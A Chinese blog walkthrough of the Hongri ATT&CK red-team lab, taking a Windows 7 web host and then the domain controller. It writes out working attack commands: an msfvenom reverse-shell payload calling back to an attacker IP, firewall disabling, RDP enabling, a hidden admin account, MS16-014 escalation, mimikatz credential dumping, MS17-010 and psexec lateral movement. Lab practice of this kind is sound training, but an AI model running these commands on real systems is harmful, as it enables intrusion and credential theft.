freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红日:ATT&CK红队实战(1)
2023-04-22 16:00:42
所属地 海外

攻击机Kali2023

一、环境搭建

1682148898_64438e22c41fd00475cd9.png!small

1.1靶机部署

我的是把仅主机模式的ip网段改成了192.168.52.0/24网段,然后win7靶机的网卡信息有一个设的是静态ip一个是动态ip但是动态ip收不到分配,把两个网卡的信息对调了一下,将win 7的本地连接网卡设置为DHCP,将他的配置给本地连接5

(如果不行可以网上找找教程,毕竟每个人的环境可能不同)

2.phpstudy无法启动

1682148907_64438e2b4680a5f3d7fc4.png!small

输入下面俩个命令:

httpd.exe -k install

httpd.exe -k -n apache2.4

1682148947_64438e5381a4b8b30e5d1.png!small

1682148931_64438e431b8df07a58ebc.png!small1682148942_64438e4ec9f9bf29b2f26.png!small

启动mysql服务

进入该目录下

C:\phpStudy\MySQL\bin

输入cmd

输入以下代码 启动mysql服务

mysqld --defaults-file="C:/phpStudy/mysql/my.ini" --console --skip-grant-tables

在这一步创建快照,直接恢复快照

二、信息收集

1.进行基本信息收集

1682148945_64438e514ba2ca6ea6280.png!small

都只发现phpmyadmin

1682148950_64438e565df7447d1c31a.png!small

端口扫描

nmap -sS -P0 -sV -O 192.168.20.128

nmap --min-rate 10000 -p- 192.168.20.128

1682148954_64438e5ad5a2420816c16.png!small

访问登录,尝试弱口令root/root

1682148959_64438e5fb75f0b82bd871.png!small

查找用户的密码

1682148965_64438e65565cc00e53ad9.png!small

解密

1682148970_64438e6a3a3c23fa04495.png!small

1682149008_64438e90b5a8236fb7fb1.png!small

解不出来网上查一下说密码就是123456

2.网页信息收集

可能存在,万能密码,sql注入,暴力破解,弱口令,xss

1682149032_64438ea8a8c0e5f8e74b6.png!small

网站内容上敏感信息暴露

1682149038_64438eae7706b6062d14d.png!small

1682149121_64438f01b150539e296c3.png!small

3.信息利用

进入yxcms后台

1682149127_64438f07a9a1b27575479.png!small

找文件上传点,这个php文件是肯定可以上传的

1682149131_64438f0bc6c74c2abed71.png!small

添加编辑并找到文件位置

1682149136_64438f10d415f4cd5b8ef.png!small

挨个目录找好久

1682149141_64438f1505810cd8be221.png!small

蚁剑连接

1682149145_64438f19b1a16721e1e01.png!small

查看当前用户权限:

1682149152_64438f2084749bf45d46a.png!small

三、外网打点

1.用户添加

添加一个用户(不添加不知道密码),并且将用户添加至管理员组(不添加远程访问会受限制)

可以添加隐藏账户在这里

1682149157_64438f25d1a2039490b7f.png!small

1682149163_64438f2ba1da90885a777.png!small

2.关闭防火墙

查看当前防火墙状态:netsh advfirewall show allprofiles

关闭防火墙:netsh advfirewall set allprofiles state off

开启防火墙:netsh advfirewall set allprofiles state on

恢复初始防火墙设置:netsh advfirewall reset

设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound

以上是设置为允许,如果设置为拒绝使用blockinbound,blockoutbound

1682149171_64438f33cdd28110eb57f.png!small

添加一条规则

netsh advfirewall firewall add rule name=RDP dir=in action=allow protocol=tcp localport=3389

删除一条规则

netsh advfirewall firewall delete rule name=RDP dir=in action=allow protocol=tcp localport=3389

3.开启3389,还没开成功......

开启3389端口的命令:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭3389端口的命令:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

将开启3389端口命令中的“00000000”改成“11111111”就是关闭。

也可以通过这个cmd命令开启3389端口:

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

1682149191_64438f4796f90163f456c.png!small

4.远程连接

一次不成功可以多试几次

1682149196_64438f4c9ab92c1ae8d79.png!small

1682149207_64438f57c012c0d791206.png!small

成功登入,在这里可以将用户在创建一个影子账户,或者其他权限维持方法,但是远程连接有一个弊端,就是会顶掉当前用户,所以不太推荐,可以尝试其他方法,后面会总结一次关于windows权限维持

1682149220_64438f646876d1f8e2ac3.png!small

四、内网信息收集

进行端口扫描,换不同的参数进行扫描,既然外部大点已经完成,那么接下来就是分析内网的信息,在这里需要去思考当前这个主机是什么,是web服务器,那么这个主机内网环境有没有域控在里面的,如果有怎么可以拿下域控,因为是windows系统,大多数都会采用域控,如果可以拿下域控主机的权限就是很大的漏洞

这里根据拓扑图是已经知到域控存在的,那么进入内网环境肯定是需要隧道或者代理的,这是进入内网的一个关键点,其次如何利用当前已经控制的主机进行渗透

以渗透当前控制主机为起点,拿下域控为中级目标开始下面的操作

在之前已经创建了用户并且关闭防火墙,开启了远程连接,接下来,首先去建立一个更稳定的会话,使远程连接退出避免发现,然后去扫一下当前主机有没有漏洞

首先利用msf模块去生成一个可以反弹shell的脚本,并且通过我们的远程连接进行执行,这个脚本的位置可以放的隐蔽一些,为了方便就放在桌面上了

4.1反弹shell-1

生成ps木马,当然也可以去尝试生成exe类型的木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.142.128 LPORT=8888 -f psh-reflection >test.ps1

1682149226_64438f6acc309e0f28ead.png!small

在kali打开监听:options检查无误后run

1682149230_64438f6ea803cbd597e7d.png!small

远程去执行这个ps脚本:发现无法执行,修改一下权限

但是这里不知道为什么第二次做的时候执行命令总是显示powershell已停止工作,就算恢复快照也没用

powershell -noexit “& ""C:\Users\admin\Desktop\test .ps1"""

1682149235_64438f735a9fa52228a4a.png!small

然后再去执行就可以了

1682149239_64438f773e64f145b2334.png!small

kali反弹回一个会话:

1682149292_64438faca5455381b9275.png!small

4.2反弹shell-2

这个只是一种方法,效果不理想蚁剑使用生成免杀木马模块生成木马,然后再用msf监听,蚁剑执行

这里注意一下payload,

set payload php/meterpreter/reverse_tcp

1682149298_64438fb2a154e891a048c.png!small

反弹成功,但是因为是php弹回来的,payload的类型也是php所以这个的权限很低,暂时也没找到用php这个木马提升至最高权限的方法,kiwi经过尝试应该是只支持windows类型的payload

1682149304_64438fb8cfd6e7d485533.png!small

4.3提权-1

这里方式有些多的还是但是看哪一种最可行,可以尝试网站挂大马,但是我这里执行失败了,不管如何这种方式要知到

1682149413_64439025b3481c53d9b87.png!small

1682149425_644390310ddd02854abc5.png!small

1682149449_644390493ae700624fb68.png!small

4.4提权-2

在这里我们再去看看,已经拿下的靶机有没有漏洞,用脚本去扫描,首先生成一个关于系统文件的信息,这个文件就是关于这个系统有没有升级补丁,现在的一个系统状况,这个文件的位置会保存在当前用户的文件夹下,也就是我们远程进去的用户的文件夹

systeminfo>文件名.txt

1682149454_6443904e20af926b80c94.png!small

把这个文件放在我们的电脑上然后利用脚本去扫这个文件信息去扫描,这个工具所引用的是python2的环境,建议安装双python环境,然后的话在使用工具的第一次会报错,原因是因为少了一个xlrd包,这里推荐使用windows去执行,因为新版的kali是python3环境,安装指令默认的也是pip3,没有pip2版本的,变更也比较难,如果尝试搭一个python2的话也不建议,毕竟当前的我用的kali不止一台,花费的时间成本是高的,所以更推荐用Windows

安装命令:python2 -m pip install xlrd==1.2.0 这里注意版本必须是1.2.0的,最新版本的只会支持一种格式的文件,然而如果装错了再安一个就行了

更新当前漏洞库命令:python2 windows-exploit-suggester.py --update 会生成一个xls文件,这个文件 2023-04-21-mssb.xls就是一会要带着跑的,

脚本地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester

脚本执行命令:python2.exe windows-exploit-suggester.py --database 2023-04-21-mssb.xls --systeminfo win_7.txt 当然这里根据官方的介绍还可以只带着系统版本去跑,但是不推荐,因为我们已经拿到了这个系统的信息

1682149464_64439058500182af0f572.png!small

从上面执行的脚本结果可看到有一个ms16-014漏洞,该漏洞经过了解可以直接提升系统权限,去kali中操作,因为之前已经操作过反弹shell的已经有了一个admin的shell,这个时候呢,我们需要将当前的会话放入后台,因为一会的提权还是会利用到这个权限:

1682149468_6443905c9526e2c3345f7.png!small

1682149472_64439060aff0174e5c8cd.png!small

接下来就是去利用漏洞,首先在msf6中去搜索一下这个模块看看是如何使用的:use1或者直接跟这个模块功能就行

1682149480_64439068ad4787b9a5cbf.png!small

还记得刚刚的会话吗,就是在这里再引用一次

1682149489_644390715aaa4cfcbd770.png!small

执行结果:最高权限

1682149502_6443907edcead30af64b5.png!small

已经是最高权限了,提权成功,权限很高尝试用kiwi中的模块去抓取密码,首先加载kiwi2

如果一次没有加载成功多加载几次,如果会话died,重新run再去加载就行

1682149506_64439082a7f6355fd8d5c.png!small

加载成功:

1682149510_64439086a284a30c9d208.png!small

利用里面的creds_all,去抓取密码,在老版本的kali中这个模块叫mimikatz,可以直接使用,文中所用的是新版本已经改名,运行的话会有提示信息的

结果就只展示一部分,我这里抓到的密码是错误的,其实也是对的,这么来说吧

在整个内网环境中是有域控的,而这个域控呢他会有缓存,域控的密码修改过了,但是每次打开域控里面的成员的信息都没有去登录(都是恢复快照进入的),所以缓存的信息没有刷新,如果发现抓到的密码不对可以都重新去的登录一下三台靶机,免得后面cs使用的时候出现密码问题,简历隧道无法进入

他会去探测内网中所有的账户密码信息,而抓取这些密码的意义就是可以通过隧道去远程登录域控主机

1682149518_6443908e83fd430dd4698.png!small

抓取hash密码:lsa_dump_secrets

1682149522_644390926872d7cd90925.png!small

在这里还有一个

去看一下这个网段都会有什么信息,内网扫描因为我们一斤发知到被攻入的靶机通过查看IP地址有一个192.168.52.0的网段,这里需要去设置一个静态路由信息,让他去扫这个信息

1682149527_644390970805a07370cab.png!small

run autoroute -d -s 192.168.20.52删除错误配置命令

将当前会话放入后台,然后使用扫描模块

use scanner/netbios/nbname

1682149531_6443909b9c380fcbb337e.png!small

可以发现两个IP192.168.52.138和192.168.52.141

然后去扫描端口

use auxiliary/ scanner/portscan/tcp

set rhosts 192. 168.52.138, 141

set ports 80, 445, 3389

exploit

1682149552_644390b037dcd18f16c2b.png!small

发现445是开放的,然后去用ms17-010

1682149558_644390b6a2e49036a0ab2.png!small

4.4.1cs上线

开启cs服务

将当前的shell弹到cs里面,这里的图是两次截的,结合上下看吧,主要就是cs的使用了

1682149583_644390cf4e0524c3ce5a8.png!small

通过上线CS来代理转发

加载msf的payload注入功能:use exploit/windows/local/payload_inject

设置payload:set payload windows/meterpreter/reverse_http

set Iport 9999

set session 4

设置当前msf不接受监听数据:set disablepayloadhandler true

端口要一致

1682149590_644390d62a0d3ea050150.png!small

cs里面开启监听器

cs抓取hash和明文密码

1682149668_64439124308a6a6efc7db.png!small

1682149672_64439128ba53b846c4822.png!small

探测内网IP

1682149683_6443913317c5634714fcd.png!small

1682149692_6443913c74e86023fd307.png!small

搭建一个隧道使用smb监听,这个就相当于内网中的代理

1682149697_644391415f6c1064acc82.png!small

使用psexec横向,这里的会话有什么选什么就行,因为,我理解的过程是这样的

1682149705_64439149492fa7de84d7f.png!small

1682149708_6443914cf1df1e041f34f.png!small

成功进入域控:正常的应该是亮着的,但是我这个关了会话的截图所以黑了

1682149727_6443915f36e6bd6219d3d.png!small

1682149730_64439162a8665a1711944.png!small

# 域控 # Windows系统 # 红日安全 # 靶机 # 靶机实战
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者